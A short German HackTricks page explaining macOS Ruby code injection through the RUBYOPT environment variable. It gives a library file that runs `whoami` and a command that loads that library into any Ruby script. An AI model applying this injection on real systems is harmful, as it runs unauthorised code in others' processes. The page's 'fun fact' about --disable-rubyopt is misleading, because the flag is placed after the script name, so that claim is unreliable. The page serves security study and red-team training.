macOS Ruby Applications Injection

Reading time: 2 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

RUBYOPT

Mit dieser Umgebungsvariable ist es möglich, neue Parameter zu ruby hinzuzufügen, wann immer es ausgeführt wird. Obwohl der Parameter -e nicht verwendet werden kann, um Ruby-Code anzugeben, ist es möglich, die Parameter -I und -r zu verwenden, um einen neuen Ordner zum Bibliotheksladepfad hinzuzufügen und dann eine Bibliothek zum Laden anzugeben.

Erstellen Sie die Bibliothek inject.rb in /tmp:

inject.rb
puts `whoami`

Erstellen Sie irgendwo ein Ruby-Skript wie:

hello.rb
puts 'Hello, World!'

Dann lassen Sie ein beliebiges Ruby-Skript es mit:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fun Fact: Es funktioniert sogar mit dem Parameter --disable-rubyopt:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks